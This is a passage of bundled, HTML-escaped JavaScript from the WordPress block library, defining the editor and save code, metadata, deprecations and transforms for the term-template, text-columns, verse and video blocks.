      queryArgs.include = include;
      queryArgs.orderby = &quot;include&quot;;
      queryArgs.order = &quot;asc&quot;;
    }
    const { records: terms } = (0, import_core_data96.useEntityRecords)(
      &quot;taxonomy&quot;,
      taxonomy,
      queryArgs
    );
    const blocks = (0, import_data165.useSelect)(
      (select9) =&gt; select9(import_block_editor282.store).getBlocks(clientId),
      [clientId]
    );
    const blockProps = (0, import_block_editor282.useBlockProps)({
      className: __unstableLayoutClassNames
    });
    const blockContexts = (0, import_element140.useMemo)(
      () =&gt; terms?.map((term) =&gt; ({
        taxonomy,
        termId: term.id,
        classList: `term-${term.id}`,
        termData: term
      })),
      [terms, taxonomy]
    );
    if (!terms) {
      return /* @__PURE__ */ (0, import_jsx_runtime534.jsx)(&quot;ul&quot;, { ...blockProps, children: /* @__PURE__ */ (0, import_jsx_runtime534.jsx)(&quot;li&quot;, { className: &quot;wp-block-term term-loading&quot;, children: /* @__PURE__ */ (0, import_jsx_runtime534.jsx)(&quot;div&quot;, { className: &quot;term-loading-placeholder&quot; }) }) });
    }
    if (!terms.length) {
      return /* @__PURE__ */ (0, import_jsx_runtime534.jsxs)(&quot;p&quot;, { ...blockProps, children: [
        &quot; &quot;,
        (0, import_i18n263.__)(&quot;No terms found.&quot;)
      ] });
    }
    const setDisplayLayout = (newDisplayLayout) =&gt; setAttributes((prevAttributes) =&gt; ({
      layout: { ...prevAttributes.layout, ...newDisplayLayout }
    }));
    return /* @__PURE__ */ (0, import_jsx_runtime534.jsxs)(import_jsx_runtime534.Fragment, { children: [
      /* @__PURE__ */ (0, import_jsx_runtime534.jsx)(import_block_editor282.BlockControls, { children: /* @__PURE__ */ (0, import_jsx_runtime534.jsx)(
        import_components180.ToolbarGroup,
        {
          controls: [
            {
              icon: list_default,
              title: (0, import_i18n263._x)(
                &quot;List view&quot;,
                &quot;Term template block display setting&quot;
              ),
              onClick: () =&gt; setDisplayLayout({ type: &quot;default&quot; }),
              isActive: layoutType === &quot;default&quot; || layoutType === &quot;constrained&quot;
            },
            {
              icon: grid_default,
              title: (0, import_i18n263._x)(
                &quot;Grid view&quot;,
                &quot;Term template block display setting&quot;
              ),
              onClick: () =&gt; setDisplayLayout({
                type: &quot;grid&quot;,
                columnCount
              }),
              isActive: layoutType === &quot;grid&quot;
            }
          ]
        }
      ) }),
      /* @__PURE__ */ (0, import_jsx_runtime534.jsx)(&quot;ul&quot;, { ...blockProps, children: blockContexts?.map((blockContext) =&gt; /* @__PURE__ */ (0, import_jsx_runtime534.jsxs)(
        import_block_editor282.BlockContextProvider,
        {
          value: blockContext,
          children: [
            blockContext.termId === (activeBlockContextId || blockContexts[0]?.termId) ? /* @__PURE__ */ (0, import_jsx_runtime534.jsx)(
              TermTemplateInnerBlocks,
              {
                classList: blockContext.classList
              }
            ) : null,
            /* @__PURE__ */ (0, import_jsx_runtime534.jsx)(
              MemoizedTermTemplateBlockPreview,
              {
                blocks,
                blockContextId: blockContext.termId,
                classList: blockContext.classList,
                setActiveBlockContextId,
                isHidden: blockContext.termId === (activeBlockContextId || blockContexts[0]?.termId)
              }
            )
          ]
        },
        blockContext.termId
      )) })
    ] });
  }

  // packages/block-library/build-module/term-template/save.mjs
  var import_block_editor283 = __toESM(require_block_editor(), 1);
  var import_jsx_runtime535 = __toESM(require_jsx_runtime(), 1);
  function TermTemplateSave() {
    return /* @__PURE__ */ (0, import_jsx_runtime535.jsx)(import_block_editor283.InnerBlocks.Content, {});
  }

  // packages/block-library/build-module/term-template/index.mjs
  var { name: name118 } = block_default117;
  var settings117 = {
    icon: layout_default,
    edit: TermTemplateEdit,
    save: TermTemplateSave,
    example: {}
  };
  var init117 = () =&gt; initBlock({ name: name118, metadata: block_default117, settings: settings117 });

  // packages/block-library/build-module/text-columns/index.mjs
  var text_columns_exports = {};
  __export(text_columns_exports, {
    init: () =&gt; init118,
    metadata: () =&gt; block_default118,
    name: () =&gt; name119,
    settings: () =&gt; settings118
  });

  // packages/block-library/build-module/text-columns/edit.mjs
  var import_i18n264 = __toESM(require_i18n(), 1);
  var import_components181 = __toESM(require_components(), 1);
  var import_block_editor284 = __toESM(require_block_editor(), 1);
  var import_deprecated57 = __toESM(require_deprecated(), 1);
  var import_jsx_runtime536 = __toESM(require_jsx_runtime(), 1);
  function TextColumnsEdit({ attributes: attributes2, setAttributes }) {
    const { width, content, columns } = attributes2;
    (0, import_deprecated57.default)(&quot;The Text Columns block&quot;, {
      since: &quot;5.3&quot;,
      alternative: &quot;the Columns block&quot;
    });
    return /* @__PURE__ */ (0, import_jsx_runtime536.jsxs)(import_jsx_runtime536.Fragment, { children: [
      /* @__PURE__ */ (0, import_jsx_runtime536.jsx)(import_block_editor284.BlockControls, { children: /* @__PURE__ */ (0, import_jsx_runtime536.jsx)(
        import_block_editor284.BlockAlignmentToolbar,
        {
          value: width,
          onChange: (nextWidth) =&gt; setAttributes({ width: nextWidth }),
          controls: [&quot;center&quot;, &quot;wide&quot;, &quot;full&quot;]
        }
      ) }),
      /* @__PURE__ */ (0, import_jsx_runtime536.jsx)(import_block_editor284.InspectorControls, { children: /* @__PURE__ */ (0, import_jsx_runtime536.jsx)(import_components181.PanelBody, { children: /* @__PURE__ */ (0, import_jsx_runtime536.jsx)(
        import_components181.RangeControl,
        {
          __next40pxDefaultSize: true,
          label: (0, import_i18n264.__)(&quot;Columns&quot;),
          value: columns,
          onChange: (value) =&gt; setAttributes({ columns: value }),
          min: 2,
          max: 4,
          required: true
        }
      ) }) }),
      /* @__PURE__ */ (0, import_jsx_runtime536.jsx)(
        &quot;div&quot;,
        {
          ...(0, import_block_editor284.useBlockProps)({
            className: `align${width} columns-${columns}`
          }),
          children: Array.from({ length: columns }).map((_, index) =&gt; {
            return /* @__PURE__ */ (0, import_jsx_runtime536.jsx)(
              &quot;div&quot;,
              {
                className: &quot;wp-block-column&quot;,
                children: /* @__PURE__ */ (0, import_jsx_runtime536.jsx)(
                  import_block_editor284.RichText,
                  {
                    tagName: &quot;p&quot;,
                    value: content?.[index]?.children,
                    onChange: (nextContent) =&gt; {
                      setAttributes({
                        content: [
                          ...content.slice(0, index),
                          { children: nextContent },
                          ...content.slice(index + 1)
                        ]
                      });
                    },
                    &quot;aria-label&quot;: (0, import_i18n264.sprintf)(
                      // translators: %d: column index (starting with 1)
                      (0, import_i18n264.__)(&quot;Column %d text&quot;),
                      index + 1
                    ),
                    placeholder: (0, import_i18n264.__)(&quot;New Column&quot;)
                  }
                )
              },
              `column-${index}`
            );
          })
        }
      )
    ] });
  }

  // packages/block-library/build-module/text-columns/block.json
  var block_default118 = {
    $schema: &quot;https://schemas.wp.org/trunk/block.json&quot;,
    apiVersion: 3,
    name: &quot;core/text-columns&quot;,
    title: &quot;Text Columns (deprecated)&quot;,
    icon: &quot;columns&quot;,
    category: &quot;design&quot;,
    description: &quot;This block is deprecated. Please use the Columns block instead.&quot;,
    textdomain: &quot;default&quot;,
    attributes: {
      content: {
        type: &quot;array&quot;,
        source: &quot;query&quot;,
        selector: &quot;p&quot;,
        query: {
          children: {
            type: &quot;string&quot;,
            source: &quot;html&quot;
          }
        },
        default: [{}, {}]
      },
      columns: {
        type: &quot;number&quot;,
        default: 2
      },
      width: {
        type: &quot;string&quot;
      }
    },
    supports: {
      inserter: false,
      interactivity: {
        clientNavigation: true
      }
    },
    editorStyle: &quot;wp-block-text-columns-editor&quot;,
    style: &quot;wp-block-text-columns&quot;
  };

  // packages/block-library/build-module/text-columns/save.mjs
  var import_block_editor285 = __toESM(require_block_editor(), 1);
  var import_jsx_runtime537 = __toESM(require_jsx_runtime(), 1);
  function save56({ attributes: attributes2 }) {
    const { width, content, columns } = attributes2;
    return /* @__PURE__ */ (0, import_jsx_runtime537.jsx)(
      &quot;div&quot;,
      {
        ...import_block_editor285.useBlockProps.save({
          className: `align${width} columns-${columns}`
        }),
        children: Array.from({ length: columns }).map((_, index) =&gt; /* @__PURE__ */ (0, import_jsx_runtime537.jsx)(&quot;div&quot;, { className: &quot;wp-block-column&quot;, children: /* @__PURE__ */ (0, import_jsx_runtime537.jsx)(
          import_block_editor285.RichText.Content,
          {
            tagName: &quot;p&quot;,
            value: content?.[index]?.children
          }
        ) }, `column-${index}`))
      }
    );
  }

  // packages/block-library/build-module/text-columns/transforms.mjs
  var import_blocks121 = __toESM(require_blocks(), 1);
  var transforms36 = {
    to: [
      {
        type: &quot;block&quot;,
        blocks: [&quot;core/columns&quot;],
        transform: ({ className, columns, content, width }) =&gt; (0, import_blocks121.createBlock)(
          &quot;core/columns&quot;,
          {
            align: &quot;wide&quot; === width || &quot;full&quot; === width ? width : void 0,
            className,
            columns
          },
          content.map(
            ({ children }) =&gt; (0, import_blocks121.createBlock)(&quot;core/column&quot;, {}, [
              (0, import_blocks121.createBlock)(&quot;core/paragraph&quot;, {
                content: children
              })
            ])
          )
        )
      }
    ]
  };
  var transforms_default37 = transforms36;

  // packages/block-library/build-module/text-columns/index.mjs
  var { name: name119 } = block_default118;
  var settings118 = {
    transforms: transforms_default37,
    getEditWrapperProps(attributes2) {
      const { width } = attributes2;
      if (&quot;wide&quot; === width || &quot;full&quot; === width) {
        return { &quot;data-align&quot;: width };
      }
    },
    edit: TextColumnsEdit,
    save: save56
  };
  var init118 = () =&gt; initBlock({ name: name119, metadata: block_default118, settings: settings118 });

  // packages/block-library/build-module/verse/index.mjs
  var verse_exports = {};
  __export(verse_exports, {
    init: () =&gt; init119,
    metadata: () =&gt; block_default119,
    name: () =&gt; name120,
    settings: () =&gt; settings119
  });
  var import_i18n266 = __toESM(require_i18n(), 1);
  var import_blocks124 = __toESM(require_blocks(), 1);

  // packages/block-library/build-module/verse/deprecated.mjs
  var import_block_editor286 = __toESM(require_block_editor(), 1);
  var import_jsx_runtime538 = __toESM(require_jsx_runtime(), 1);
  var v146 = {
    attributes: {
      content: {
        type: &quot;string&quot;,
        source: &quot;html&quot;,
        selector: &quot;pre&quot;,
        default: &quot;&quot;
      },
      textAlign: {
        type: &quot;string&quot;
      }
    },
    save({ attributes: attributes2 }) {
      const { textAlign, content } = attributes2;
      return /* @__PURE__ */ (0, import_jsx_runtime538.jsx)(
        import_block_editor286.RichText.Content,
        {
          tagName: &quot;pre&quot;,
          style: { textAlign },
          value: content
        }
      );
    },
    migrate: migrate_text_align_default
  };
  var v219 = {
    attributes: {
      content: {
        type: &quot;string&quot;,
        source: &quot;html&quot;,
        selector: &quot;pre&quot;,
        default: &quot;&quot;,
        __unstablePreserveWhiteSpace: true,
        role: &quot;content&quot;
      },
      textAlign: {
        type: &quot;string&quot;
      }
    },
    supports: {
      anchor: true,
      color: {
        gradients: true,
        link: true
      },
      typography: {
        fontSize: true,
        __experimentalFontFamily: true
      },
      spacing: {
        padding: true
      }
    },
    save({ attributes: attributes2 }) {
      const { textAlign, content } = attributes2;
      const className = clsx_default({
        [`has-text-align-${textAlign}`]: textAlign
      });
      return /* @__PURE__ */ (0, import_jsx_runtime538.jsx)(&quot;pre&quot;, { ...import_block_editor286.useBlockProps.save({ className }), children: /* @__PURE__ */ (0, import_jsx_runtime538.jsx)(import_block_editor286.RichText.Content, { value: content }) });
    },
    migrate(attributes2) {
      return migrate_text_align_default(migrate_font_family_default(attributes2));
    },
    isEligible({ style: style2, textAlign }) {
      return style2?.typography?.fontFamily || !!textAlign;
    }
  };
  var v313 = {
    attributes: {
      content: {
        type: &quot;rich-text&quot;,
        source: &quot;rich-text&quot;,
        selector: &quot;pre&quot;,
        __unstablePreserveWhiteSpace: true,
        role: &quot;content&quot;
      },
      textAlign: {
        type: &quot;string&quot;
      }
    },
    supports: {
      anchor: true,
      background: {
        backgroundImage: true,
        backgroundSize: true
      },
      color: {
        gradients: true,
        link: true
      },
      dimensions: {
        minHeight: true
      },
      typography: {
        fontSize: true,
        __experimentalFontFamily: true,
        lineHeight: true,
        __experimentalFontStyle: true,
        __experimentalFontWeight: true,
        __experimentalLetterSpacing: true,
        __experimentalTextTransform: true,
        __experimentalTextDecoration: true,
        __experimentalWritingMode: true
      },
      spacing: {
        margin: true,
        padding: true
      },
      __experimentalBorder: {
        radius: true,
        width: true,
        color: true,
        style: true
      },
      interactivity: {
        clientNavigation: true
      }
    },
    save({ attributes: attributes2 }) {
      const { textAlign, content } = attributes2;
      const className = clsx_default({
        [`has-text-align-${textAlign}`]: textAlign
      });
      return /* @__PURE__ */ (0, import_jsx_runtime538.jsx)(&quot;pre&quot;, { ...import_block_editor286.useBlockProps.save({ className }), children: /* @__PURE__ */ (0, import_jsx_runtime538.jsx)(import_block_editor286.RichText.Content, { value: content }) });
    },
    migrate: migrate_text_align_default,
    isEligible(attributes2) {
      return !!attributes2.textAlign || !!attributes2.className?.match(
        /\bhas-text-align-(left|center|right)\b/
      );
    }
  };
  var deprecated_default52 = [v313, v219, v146];

  // packages/block-library/build-module/verse/edit.mjs
  var import_i18n265 = __toESM(require_i18n(), 1);
  var import_block_editor287 = __toESM(require_block_editor(), 1);
  var import_blocks122 = __toESM(require_blocks(), 1);
  var import_jsx_runtime539 = __toESM(require_jsx_runtime(), 1);
  function VerseEdit(props) {
    const {
      attributes: attributes2,
      setAttributes,
      mergeBlocks,
      onRemove,
      insertBlocksAfter,
      style: style2
    } = props;
    const { content } = attributes2;
    useDeprecatedTextAlign(props);
    const blockProps = (0, import_block_editor287.useBlockProps)({ style: style2 });
    return /* @__PURE__ */ (0, import_jsx_runtime539.jsx)(
      import_block_editor287.RichText,
      {
        tagName: &quot;pre&quot;,
        identifier: &quot;content&quot;,
        preserveWhiteSpace: true,
        value: content,
        onChange: (nextContent) =&gt; {
          setAttributes({
            content: nextContent
          });
        },
        &quot;aria-label&quot;: (0, import_i18n265.__)(&quot;Poetry text&quot;),
        placeholder: (0, import_i18n265.__)(&quot;Write poetry\u2026&quot;),
        onRemove,
        onMerge: mergeBlocks,
        ...blockProps,
        __unstablePastePlainText: true,
        __unstableOnSplitAtDoubleLineEnd: () =&gt; insertBlocksAfter((0, import_blocks122.createBlock)((0, import_blocks122.getDefaultBlockName)()))
      }
    );
  }

  // packages/block-library/build-module/verse/block.json
  var block_default119 = {
    $schema: &quot;https://schemas.wp.org/trunk/block.json&quot;,
    apiVersion: 3,
    name: &quot;core/verse&quot;,
    title: &quot;Poetry&quot;,
    category: &quot;text&quot;,
    description: &quot;Insert poetry. Use special spacing formats. Or quote song lyrics.&quot;,
    keywords: [&quot;poetry&quot;, &quot;poem&quot;, &quot;verse&quot;, &quot;stanza&quot;, &quot;song&quot;, &quot;lyrics&quot;],
    textdomain: &quot;default&quot;,
    attributes: {
      content: {
        type: &quot;rich-text&quot;,
        source: &quot;rich-text&quot;,
        selector: &quot;pre&quot;,
        __unstablePreserveWhiteSpace: true,
        role: &quot;content&quot;
      }
    },
    supports: {
      anchor: true,
      background: {
        backgroundImage: true,
        backgroundSize: true,
        __experimentalDefaultControls: {
          backgroundImage: true
        }
      },
      color: {
        gradients: true,
        link: true,
        __experimentalDefaultControls: {
          background: true,
          text: true
        }
      },
      dimensions: {
        minHeight: true,
        __experimentalDefaultControls: {
          minHeight: false
        }
      },
      typography: {
        fontSize: true,
        __experimentalFontFamily: true,
        lineHeight: true,
        textAlign: true,
        __experimentalFontStyle: true,
        __experimentalFontWeight: true,
        __experimentalLetterSpacing: true,
        __experimentalTextTransform: true,
        __experimentalTextDecoration: true,
        __experimentalWritingMode: true,
        __experimentalDefaultControls: {
          fontSize: true
        }
      },
      spacing: {
        margin: true,
        padding: true,
        __experimentalDefaultControls: {
          margin: false,
          padding: false
        }
      },
      __experimentalBorder: {
        radius: true,
        width: true,
        color: true,
        style: true
      },
      interactivity: {
        clientNavigation: true
      }
    },
    style: &quot;wp-block-verse&quot;,
    editorStyle: &quot;wp-block-verse-editor&quot;
  };

  // packages/block-library/build-module/verse/save.mjs
  var import_block_editor288 = __toESM(require_block_editor(), 1);
  var import_jsx_runtime540 = __toESM(require_jsx_runtime(), 1);
  function save57({ attributes: attributes2 }) {
    const { content } = attributes2;
    return /* @__PURE__ */ (0, import_jsx_runtime540.jsx)(&quot;pre&quot;, { ...import_block_editor288.useBlockProps.save(), children: /* @__PURE__ */ (0, import_jsx_runtime540.jsx)(import_block_editor288.RichText.Content, { value: content }) });
  }

  // packages/block-library/build-module/verse/transforms.mjs
  var import_blocks123 = __toESM(require_blocks(), 1);
  var transforms37 = {
    from: [
      {
        type: &quot;block&quot;,
        blocks: [&quot;core/paragraph&quot;],
        transform: (attributes2) =&gt; (0, import_blocks123.createBlock)(&quot;core/verse&quot;, attributes2)
      }
    ],
    to: [
      {
        type: &quot;block&quot;,
        blocks: [&quot;core/paragraph&quot;],
        transform: (attributes2) =&gt; (0, import_blocks123.createBlock)(&quot;core/paragraph&quot;, attributes2)
      }
    ]
  };
  var transforms_default38 = transforms37;

  // packages/block-library/build-module/verse/index.mjs
  var { fieldsKey: fieldsKey19, formKey: formKey19 } = unlock(import_blocks124.privateApis);
  var { name: name120 } = block_default119;
  var settings119 = {
    icon: verse_default,
    example: {
      attributes: {
        /* eslint-disable @wordpress/i18n-no-collapsible-whitespace */
        // translators: Sample content for the Verse block. Can be replaced with a more locale-adequate work.
        content: (0, import_i18n266.__)(
          &quot;WHAT was he doing, the great god Pan,\n	Down in the reeds by the river?\nSpreading ruin and scattering ban,\nSplashing and paddling with hoofs of a goat,\nAnd breaking the golden lilies afloat\n    With the dragon-fly on the river.&quot;
        )
        /* eslint-enable @wordpress/i18n-no-collapsible-whitespace */
      }
    },
    transforms: transforms_default38,
    deprecated: deprecated_default52,
    merge(attributes2, attributesToMerge) {
      return {
        content: attributes2.content + &quot;\n\n&quot; + attributesToMerge.content
      };
    },
    edit: VerseEdit,
    save: save57
  };
  if (window.__experimentalContentOnlyInspectorFields) {
    settings119[fieldsKey19] = [
      {
        id: &quot;content&quot;,
        label: (0, import_i18n266.__)(&quot;Content&quot;),
        type: &quot;text&quot;,
        Edit: &quot;rich-text&quot;
        // TODO: replace with custom component
      }
    ];
    settings119[formKey19] = {
      fields: [&quot;content&quot;]
    };
  }
  var init119 = () =&gt; initBlock({ name: name120, metadata: block_default119, settings: settings119 });

  // packages/block-library/build-module/video/index.mjs
  var video_exports = {};
  __export(video_exports, {
    init: () =&gt; init120,
    metadata: () =&gt; block_default120,
    name: () =&gt; name121,
    settings: () =&gt; settings120
  });
  var import_i18n270 = __toESM(require_i18n(), 1);
  var import_blocks126 = __toESM(require_blocks(), 1);

  // packages/block-library/build-module/video/deprecated.mjs
  var import_block_editor289 = __toESM(require_block_editor(), 1);

  // packages/block-library/build-module/video/block.json
  var block_default120 = {
    $schema: &quot;https://schemas.wp.org/trunk/block.json&quot;,
    apiVersion: 3,
    name: &quot;core/video&quot;,
    title: &quot;Video&quot;,
    category: &quot;media&quot;,
    description: &quot;Embed a video from your media library or upload a new one.&quot;,
    keywords: [&quot;movie&quot;],
    textdomain: &quot;default&quot;,
    attributes: {
      autoplay: {
        type: &quot;boolean&quot;,
        source: &quot;attribute&quot;,
        selector: &quot;video&quot;,
        attribute: &quot;autoplay&quot;
      },
      caption: {
        type: &quot;rich-text&quot;,
        source: &quot;rich-text&quot;,
        selector: &quot;figcaption&quot;,
        role: &quot;content&quot;
      },
      controls: {
        type: &quot;boolean&quot;,
        source: &quot;attribute&quot;,
        selector: &quot;video&quot;,
        attribute: &quot;controls&quot;,
        default: true
      },
      id: {
        type: &quot;number&quot;,
        role: &quot;content&quot;
      },
      loop: {
        type: &quot;boolean&quot;,
        source: &quot;attribute&quot;,
        selector: &quot;video&quot;,
        attribute: &quot;loop&quot;
      },
      muted: {
        type: &quot;boolean&quot;,
        source: &quot;attribute&quot;,
        selector: &quot;video&quot;,
        attribute: &quot;muted&quot;
      },
      poster: {
        type: &quot;string&quot;,
        source: &quot;attribute&quot;,
        selector: &quot;video&quot;,
        attribute: &quot;poster&quot;
      },
      preload: {
        type: &quot;string&quot;,
        source: &quot;attribute&quot;,
        selector: &quot;video&quot;,
        attribute: &quot;preload&quot;,
        default: &quot;metadata&quot;
      },
      blob: {
        type: &quot;string&quot;,
        role: &quot;local&quot;
      },
      src: {
        type: &quot;string&quot;,
        source: &quot;attribute&quot;,
        selector: &quot;video&quot;,
        attribute: &quot;src&quot;,
        role: &quot;content&quot;
      },
      playsInline: {
        type: &quot;boolean&quot;,
        source: &quot;attribute&quot;,
        selector: &quot;video&quot;,
        attribute: &quot;playsinline&quot;
      },
      tracks: {
        role: &quot;content&quot;,
        type: &quot;array&quot;,
        items: {
          type: &quot;object&quot;
        },
        default: []
      }
    },
    supports: {
      anchor: true,
      align: true,
      spacing: {
        margin: true,
        padding: true,
        __experimentalDefaultControls: {
          margin: false,
          padding: false
        }
      },
      interactivity: {
        clientNavigation: true
      }
    },
    editorStyle: &quot;wp-block-video-editor&quot;,
    style: &quot;wp-block-video&quot;
  };

  // packages/block-library/build-module/video/tracks.mjs
  var import_jsx_runtime541 = __toESM(require_jsx_runtime(), 1);
  function Tracks({ tracks = [] }) {
    return tracks.map((track) =&gt; {
      const { id, ...trackAttrs } = track;
      return /* @__PURE__ */ (0, import_jsx_runtime541.jsx)(&quot;track&quot;, { ...trackAttrs }, id ?? trackAttrs.src);
    });
  }

  // packages/block-library/build-module/video/deprecated.mjs
  var import_jsx_runtime542 = __toESM(require_jsx_runtime(), 1);
  var { attributes: blockAttributes7 } = block_default120;
  var v147 = {
    attributes: blockAttributes7,
    save({ attributes: attributes2 }) {
      const {
        autoplay,
        caption,
        controls,
        loop,
        muted,
        poster,
        preload,
        src,
        playsInline,
        tracks
      } = attributes2;
      return /* @__PURE__ */ (0, import_jsx_runtime542.jsxs)(&quot;figure&quot;, { ...import_block_editor289.useBlockProps.save(), children: [
        src &amp;&amp; /* @__PURE__ */ (0, import_jsx_runtime542.jsx)(
          &quot;video&quot;,
          {
            autoPlay: autoplay,
            controls,
            loop,
            muted,
            poster,
            preload: preload !== &quot;metadata&quot; ? preload : void 0,
            src,
            playsInline,
            children: /* @__PURE__ */ (0, import_jsx_runtime542.jsx)(Tracks, { tracks })
          }
        ),
        !import_block_editor289.RichText.isEmpty(caption) &amp;&amp; /* @__PURE__ */ (0, import_jsx_runtime542.jsx)(import_block_editor289.RichText.Content, { tagName: &quot;figcaption&quot;, value: caption })
      ] });
    }
  };
  var deprecated20 = [v147];
  var deprecated_default53 = deprecated20;

  // packages/block-library/build-module/video/edit.mjs
  var import_blob19 = __toESM(require_blob(), 1);
  var import_components184 = __toESM(require_components(), 1);
  var import_block_editor291 = __toESM(require_block_editor(), 1);
  var import_element143 = __toESM(require_element(), 1);
  var import_i18n269 = __toESM(require_i18n(), 1);
  var import_data167 = __toESM(require_data(), 1);
  var import_notices22 = __toESM(require_notices(), 1);
  var import_url23 = __toESM(require_url(), 1);

  // packages/block-library/build-module/video/edit-common-settings.mjs
  var import_i18n267 = __toESM(require_i18n(), 1);
  var import_components182 = __toESM(require_components(), 1);
  var import_element141 = __toESM(require_element(), 1);
  var import_jsx_runtime543 = __toESM(require_jsx_runtime(), 1);
  var options = [
    { value: &quot;auto&quot;, label: (0, import_i18n267.__)(&quot;Auto&quot;) },
    { value: &quot;metadata&quot;, label: (0, import_i18n267.__)(&quot;Metadata&quot;) },
    { value: &quot;none&quot;, label: (0, import_i18n267._x)(&quot;None&quot;, &quot;Preload value&quot;) }
  ];
  var VideoSettings = ({ setAttributes, attributes: attributes2 }) =&gt; {
    const { autoplay, controls, loop, muted, playsInline, preload } = attributes2;
    const autoPlayHelpText = (0, import_i18n267.__)(
      &quot;Autoplay may cause usability issues for some users.&quot;
    );
    const getAutoplayHelp = import_element141.Platform.select({
      web: (0, import_element141.useCallback)((checked) =&gt; {
        return checked ? autoPlayHelpText : null;
      }, []),
      native: autoPlayHelpText
    });
    const toggleFactory = (0, import_element141.useMemo)(() =&gt; {
      const toggleAttribute = (attribute) =&gt; {
        return (newValue) =&gt; {
          setAttributes({
            [attribute]: newValue,
            // Set muted and playsInLine when autoplay changes
            // playsInline is set to true when autoplay is true to support iOS devices
            ...attribute === &quot;autoplay&quot; &amp;&amp; {
              muted: newValue,
              playsInline: newValue
            }
          });
        };
      };
      return {
        autoplay: toggleAttribute(&quot;autoplay&quot;),
        loop: toggleAttribute(&quot;loop&quot;),
        muted: toggleAttribute(&quot;muted&quot;),
        controls: toggleAttribute(&quot;controls&quot;),
        playsInline: toggleAttribute(&quot;playsInline&quot;)
      };
    }, []);
    const onChangePreload = (0, import_element141.useCallback)((value) =&gt; {
      setAttributes({ preload: value });
    }, []);
    return /* @__PURE__ */ (0, import_jsx_runtime543.jsxs)(import_jsx_runtime543.Fragment, { children: [
      /* @__PURE__ */ (0, import_jsx_runtime543.jsx)(
        import_components182.__experimentalToolsPanelItem,
        {
          label: (0, import_i18n267.__)(&quot;Autoplay&quot;),
          isShownByDefault: true,
          hasValue: () =&gt; !!autoplay,
          onDeselect: () =&gt; {
            setAttributes({ autoplay: false, muted: false });
          },
          children: /* @__PURE__ */ (0, import_jsx_runtime543.jsx)(
            import_components182.ToggleControl,
            {
              label: (0, import_i18n267.__)(&quot;Autoplay&quot;),
              onChange: toggleFactory.autoplay,
              checked: !!autoplay,
              help: getAutoplayHelp
            }
          )
        }
      ),
      /* @__PURE__ */ (0, import_jsx_runtime543.jsx)(
        import_components182.__experimentalToolsPanelItem,
        {
          label: (0, import_i18n267.__)(&quot;Loop&quot;),
          isShownByDefault: true,
          hasValue: () =&gt; !!loop,
          onDeselect: () =&gt; {
            setAttributes({ loop: false });
          },
          children: /* @__PURE__ */ (0, import_jsx_runtime543.jsx)(
            import_components182.ToggleControl,
            {
              label: (0, import_i18n267.__)(&quot;Loop&quot;),
              onChange: toggleFactory.loop,
              checked: !!loop
            }
          )
        }
      ),
      /* @__PURE__ */ (0, import_jsx_runtime543.jsx)(
        import_components182.__experimentalToolsPanelItem,
        {
          label: (0, import_i18n267.__)(&quot;Muted&quot;),
          isShownByDefault: true,
          hasValue: () =&gt; !!muted,
          onDeselect: () =&gt; {
            setAttributes({ muted: false });
          },
          children: /* @__PURE__ */ (0, import_jsx_runtime543.jsx)(
            import_components182.ToggleControl,
            {
              label: (0, import_i18n267.__)(&quot;Muted&quot;),
              onChange: toggleFactory.muted,
              checked: !!muted,
              disabled: autoplay,
              help: autoplay ? (0, import_i18n267.__)(&quot;Muted because of Autoplay.&quot;) : null
            }
          )
        }
      ),
      /* @__PURE__ */ (0, import_jsx_runtime543.jsx)(
        import_components182.__experimentalToolsPanelItem,
        {
          label: (0, import_i18n267.__)(&quot;Playback controls&quot;),
          isShownByDefault: true,
          hasValue: () =&gt; !controls,
          onDeselect: () =&gt; {
            setAttributes({ controls: true });
          },
          children: /* @__PURE__ */ (0, import_jsx_runtime543.jsx)(
            import_components182.ToggleControl,
            {
              label: (0, import_i18n267.__)(&quot;Playback controls&quot;),
              onChange: toggleFactory.controls,
              checked: !!controls
            }
          )
        }
      ),
      /* @__PURE__ */ (0, import_jsx_runtime543.jsx)(
        import_components182.__experimentalToolsPanelItem,
        {
          label: (0, import_i18n267.__)(&quot;Play inline&quot;),
          isShownByDefault: true,
          hasValue: () =&gt; !!playsInline,
          onDeselect: () =&gt; {
            setAttributes({ playsInline: false });
          },
          children: /* @__PURE__ */ (0, import_jsx_runtime543.jsx)(
            import_components182.ToggleControl,
            {
              label: (0, import_i18n267.__)(&quot;Play inline&quot;),
              onChange: toggleFactory.playsInline,
              checked: !!playsInline,
              disabled: autoplay,
              help: autoplay ? (0, import_i18n267.__)(&quot;Play inline enabled because of Autoplay.&quot;) : (0, import_i18n267.__)(
                &quot;When enabled, videos will play directly within the webpage on mobile browsers, instead of opening in a fullscreen player.&quot;
              )
            }
          )
        }
      ),
      /* @__PURE__ */ (0, import_jsx_runtime543.jsx)(
        import_components182.__experimentalToolsPanelItem,
        {
          label: (0, import_i18n267.__)(&quot;Preload&quot;),
          isShownByDefault: true,
          hasValue: () =&gt; preload !== &quot;metadata&quot;,
          onDeselect: () =&gt; {
            setAttributes({ preload: &quot;metadata&quot; });
          },
          children: /* @__PURE__ */ (0, import_jsx_runtime543.jsx)(
            import_components182.SelectControl,
            {
              __next40pxDefaultSize: true,
              label: (0, import_i18n267.__)(&quot;Preload&quot;),
              value: preload,
              onChange: onChangePreload,
              options,
              hideCancelButton: true
            }
          )
        }
      )
    ] });
  };
  var edit_common_settings_default = VideoSettings;

  // packages/block-library/build-module/video/tracks-editor.mjs
  var import_i18n268 = __toESM(require_i18n(), 1);
  var import_components183 = __toESM(require_components(), 1);
  var import_block_editor290 = __toESM(require_block_editor(), 1);
  var import_data166 = __toESM(require_data(), 1);
  var import_element142 = __toESM(require_element(), 1);
  var import_url22 = __toESM(require_url(), 1);
  var import_jsx_runtime544 = __toESM(require_jsx_runtime(), 1);
  var { Badge: Badge2 } = unlock(import_components183.privateApis);
  var ALLOWED_TYPES = [&quot;text/vtt&quot;];
  var DEFAULT_KIND = &quot;subtitles&quot;;
  var KIND_OPTIONS = [
    { label: (0, import_i18n268.__)(&quot;Subtitles&quot;), value: &quot;subtitles&quot; },
    { label: (0, import_i18n268.__)(&quot;Captions&quot;), value: &quot;captions&quot; },
    { label: (0, import_i18n268.__)(&quot;Descriptions&quot;), value: &quot;descriptions&quot; },
    { label: (0, import_i18n268.__)(&quot;Chapters&quot;), value: &quot;chapters&quot; },
    { label: (0, import_i18n268.__)(&quot;Metadata&quot;), value: &quot;metadata&quot; }
  ];
  var DEFAULT_TRACK = {
    src: &quot;&quot;,
    label: &quot;&quot;,
    srcLang: &quot;en&quot;,
    kind: DEFAULT_KIND,
    default: false
  };
  function TrackList({ tracks, onEditPress }) {
    const content = tracks.map((track, index) =&gt; {
      return /* @__PURE__ */ (0, import_jsx_runtime544.jsxs)(
